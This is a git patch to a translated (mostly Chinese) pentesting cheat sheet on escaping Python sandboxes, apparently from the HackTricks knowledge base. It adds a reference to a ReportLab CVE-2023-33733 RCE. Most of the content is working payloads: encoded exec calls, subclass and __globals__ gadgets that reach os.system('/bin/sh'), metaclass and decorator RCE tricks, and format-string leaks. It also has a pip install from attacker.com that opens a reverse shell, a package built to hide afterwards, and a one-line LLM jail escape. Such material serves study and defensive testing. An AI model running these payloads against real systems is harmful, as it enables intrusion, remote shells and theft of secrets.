From 4ec17ead13c858a7437b63fa7c3d77f5da997b22 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 10:25:47 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- src/SUMMARY.md | 1 + .../python/bypass-python-sandboxes/README.md | 219 +++++++++--------- ...xpression-evaluation-rce-cve-2023-33733.md | 79 +++++++ .../pentesting-web/django.md | 64 ++--- 4 files changed, 232 insertions(+), 131 deletions(-) create mode 100644 src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..1b61cadc6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -70,6 +70,7 @@ - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) + - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 8439e01e3..be022a810 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,12 @@ -# 绕过 Python 沙箱 +# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。 +下面是一些技巧,用于 bypass python sandbox protections 并 execute arbitrary commands。 ## 命令执行库 -您需要知道的第一件事是,您是否可以直接使用某个已导入的库执行代码,或者您是否可以导入这些库中的任何一个: +首先你需要知道的是,是否可以直接使用某个已导入的库来执行 code,或者是否可以导入下列任意库: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 来 **绕过** 沙箱。 +记住 _**open**_ 和 _**read**_ 函数在 python sandbox 内可以用来 **读取文件**,以及 **写入一些代码**,你可以 **执行** 来 **bypass** 该 sandbox。 > [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。 -Python 尝试 **首先从当前目录加载库**(以下命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'` +Python 会尝试 **优先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## 使用默认安装的 python 包绕过 pickle 沙箱 +## Bypass pickle sandbox 使用系统默认安装的 python 包 ### 默认包 -你可以在这里找到 **预安装包的列表**:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\ -例如,以下 pickle 在加载时将导入 pip 库以使用它: +你可以在这里找到 **预安装** 包的列表: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +注意,通过 pickle 你可以让 python 环境 **导入系统中已安装的任意库**。\ +例如,下面的 pickle 在被加载时会导入 pip 库并使用它: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +关于 pickle 工作原理的更多信息,请参阅: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip 包 +### Pip package 技巧由 **@isHaacK** 分享 -如果您可以访问 `pip` 或 `pip.main()`,您可以安装任意包并通过调用获得反向 shell: +如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意包并通过调用以下内容获得反向 shell: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**: +你可以在此下载用于创建 reverse shell 的包。请注意,在使用它之前你应当 **解压该文件,修改 `setup.py`,并填写用于 reverse shell 的 IP**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> 这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。 +> 该包名为 `Reverse`。不过它被特别设计为:当你退出 reverse shell 时,其余安装过程会失败,因此当你离开时你**不会在服务器上留下任何额外的 python 包**。 -## 评估 python 代码 +## 使用 `eval` 执行 python 代码 > [!WARNING] -> 请注意,exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符) +> 注意 `exec` 允许多行字符串和 ";",但 `eval` 不允许(检查 walrus operator) -如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制: +如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来 **bypass** 该限制: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### 其他允许评估 Python 代码的库 +### 其他允许 eval python code 的库 ```python #Pandas import pandas as pd @@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -## 操作符和简短技巧 +另见 PDF 生成器中真实世界的沙箱化评估器逃逸: + +- ReportLab/xhtml2pdf triple-bracket [[[...]]] 表达式求值 → RCE (CVE-2023-33733)。它滥用 rl_safe_eval 从被求值的属性(例如字体颜色)到达 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。 + +{{#ref}} +reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +## 操作符和小技巧 ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## 通过编码绕过保护(UTF-7) +## 通过编码绕过防护 (UTF-7) -在 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,使用 UTF-7 在一个看似沙箱的环境中加载和执行任意的 python 代码: +在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个看似的 sandbox 内加载并执行任意 python 代码: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -150,11 +158,11 @@ return x ``` 也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。 -## 无调用的 Python 执行 +## Python 在无法进行调用时的执行 -如果您在一个 **不允许您进行调用** 的 python 监狱中,仍然有一些方法可以 **执行任意函数、代码** 和 **命令**。 +如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、代码**和**命令**。 -### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE +### RCE 利用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -176,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE 创建对象和重载 +### RCE creating objects and overloading -如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **被触发**。 +如果你能够 **声明一个类** 并 **创建该类的对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以在 **被触发** 时 **无需直接调用**。 -#### 使用自定义类的 RCE +#### RCE with custom classes -你可以修改一些 **类方法**(_通过覆盖现有类方法或创建新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。 +你可以修改一些 **类方法**(_通过覆盖已有的类方法或创建一个新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象 +#### 通过 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象 -metaclasses 允许我们做的关键事情是 **在不直接调用构造函数的情况下创建类的实例**,通过将目标类作为 metaclass 创建一个新类。 +metaclasses 允许我们做的关键事情是:通过创建一个以目标类为 metaclass 的新类,**在不直接调用构造函数的情况下创建一个类的实例**。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -249,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### 创建带有异常的对象 +#### 使用异常创建对象 -当**异常被触发**时,**Exception**的对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)的技巧): +当 **exception 被触发** 时,会创建一个 **Exception** 对象,无需你直接调用 constructor(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧): ```python class RCE(Exception): def __init__(self): @@ -293,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### 使用内置函数读取文件帮助和许可证 +### 使用 builtins 的 help 和 license 读取文件 ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -302,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## 内置函数 +## Builtins -- [**Python2 的内置函数**](https://docs.python.org/2/library/functions.html) -- [**Python3 的内置函数**](https://docs.python.org/3/library/functions.html) +- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) +- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意你也可以在最后一节中使用其他字符串表示): +如果你能够访问 **`__builtins__`** 对象,你可以导入库(注意,这里你也可以使用在上一节中所示的其他字符串表示): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### No Builtins +### 无内置函数 -当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...) **都没有加载**。\ -然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**。 +当你没有 `__builtins__` 时,你将无法导入任何模块,也无法读取或写入文件,因为**所有全局函数**(比如 `open`、`import`、`print`...)**没有被加载**。\ +然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能无害,但其中有些**也导入了危险的**功能,可以被访问以获得**任意代码执行**。 -在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块,以 **访问** 其中的 **危险** **功能**。 +在下面的示例中你可以看到如何**滥用**这些已加载的“**看似无害**”模块中的一些,以**访问** **危险** **功能**。 **Python2** ```python @@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以在其中找到 **内置函数**。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用来在数十/**数百**个**位置**中查找**builtins**。 -#### Python2 和 Python3 +#### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` -### 内置有效载荷 +### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## 全局变量和局部变量 -检查 **`globals`** 和 **`locals`** 是了解您可以访问的内容的好方法。 +检查 **`globals`** 和 **`locals`** 是了解你可以访问什么的好方法。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -401,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 来查找数十/**数百**个可以找到**globals**的**地方**。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. ## 发现任意执行 -在这里,我想解释如何轻松发现**加载的更危险功能**并提出更可靠的利用方式。 +在这里我想解释如何轻松发现**已加载的更危险的功能**并提出更可靠的利用方法。 -#### 通过绕过访问子类 +#### 使用绕过方法访问子类 -此技术最敏感的部分之一是能够**访问基础子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**: +该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这通过 `''.__class__.__base__.__subclasses__()` 来实现,但还有**其他可能的方法**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### 查找加载的危险库 +### 查找已加载的危险库 -例如,知道使用库 **`sys`** 可以 **导入任意库**,您可以搜索所有 **加载的模块中包含 sys 的模块**: +例如,已知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -有很多,**我们只需要一个**来执行命令: +有很多,且**我们只需要一个**来执行命令: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情: +我们可以用 **其他库** 做同样的事情,这些库我们知道可以用来 **执行命令**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**按函数名称过滤**可能的库: +此外,如果你认为 **其他库** 可能会 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称进行过滤**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -535,10 +543,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## 递归搜索内置对象、全局对象... +## 递归搜索 Builtins, Globals... > [!WARNING] -> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。** +> 这真是**太棒了**。如果你正在**寻找类似 globals、builtins、open 的对象或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的位置。** ```python import os, sys # Import these to find more gadgets @@ -654,15 +662,16 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -您可以在此页面查看此脚本的输出: +你可以在此页面查看此脚本的输出: + {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} -## Python 格式字符串 +## Python Format String -如果您**发送**一个将要**格式化**的**字符串**给 python,您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。 +如果你向 python **send** 一个将要被 **formatted** 的 **string**,你可以使用 `{}` 来访问 **python internal information.** 例如,你可以使用之前的示例来访问 globals 或 builtins。 ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而使用 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`。 +注意你可以像 `people_obj.__init__` 那样用**点**正常访问**属性**,也可以用不带引号的**中括号**访问**字典元素** `__globals__[CONFIG]` -还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。 +另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -格式字符串的其他一些有趣特性是可以通过添加 **`!s`**、**`!r`** 和 **`!a`** 分别在指定对象中 **执行** **`str`**、**`repr`** 和 **`ascii`** 函数: +格式化字符串的另一个有趣特性是可以通过在目标对象后加上 **`!s`**、**`!r`**、**`!a`** 来**执行** **`str`**、**`repr`** 和 **`ascii`** 这几个函数,分别对应: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -此外,可以在类中**编写新的格式化程序**: +此外,可以在类中 **code new formatters**: ```python class HAL9000(object): def __format__(self, format): @@ -702,17 +711,16 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到。 +**更多示例** 关于 **format** **string** 示例可在 [**https://pyformat.info/**](https://pyformat.info) 找到 > [!CAUTION] -> 还请查看以下页面,了解将从 Python 内部对象中**读取敏感信息**的工具: - +> 另请查看以下页面,了解会 r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### 敏感信息泄露有效载荷 +### 敏感信息泄露 Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -730,20 +738,20 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -从 [这里](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### 从格式到 RCE 加载库 +### 从 format 到 RCE:加载库 -根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。 +According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -作为提醒,每次在 Python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。 +作为提醒,在 python 中每当执行某个操作时,都会触发相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,而 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。 -在 [**Python execution without calls**](#python-execution-without-calls) 部分中还有更多类似的内容。 +You have more like this in the section [**Python execution without calls**](#python-execution-without-calls). -Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\ -然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。 +python 的 format string 漏洞不允许直接执行函数(不允许使用圆括号),因此不能像 `'{0.system("/bin/sh")}'.format(os)` 那样直接获得 RCE。\ +但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。 -在 Python 中寻找这样的 gadget,写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 